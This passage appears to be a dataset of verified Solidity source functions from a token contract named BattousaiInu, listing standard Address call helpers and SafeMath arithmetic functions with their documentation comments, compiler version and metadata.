* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
4774,
5095
]
} | 59,908 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
259,
445
]
} | 59,909 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
723,
864
]
} | 59,910 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1162,
1359
]
} | 59,911 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1613,
2089
]
} | 59,912 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
2560,
2697
]
} | 59,913 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
3188,
3471
]
} | 59,914 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
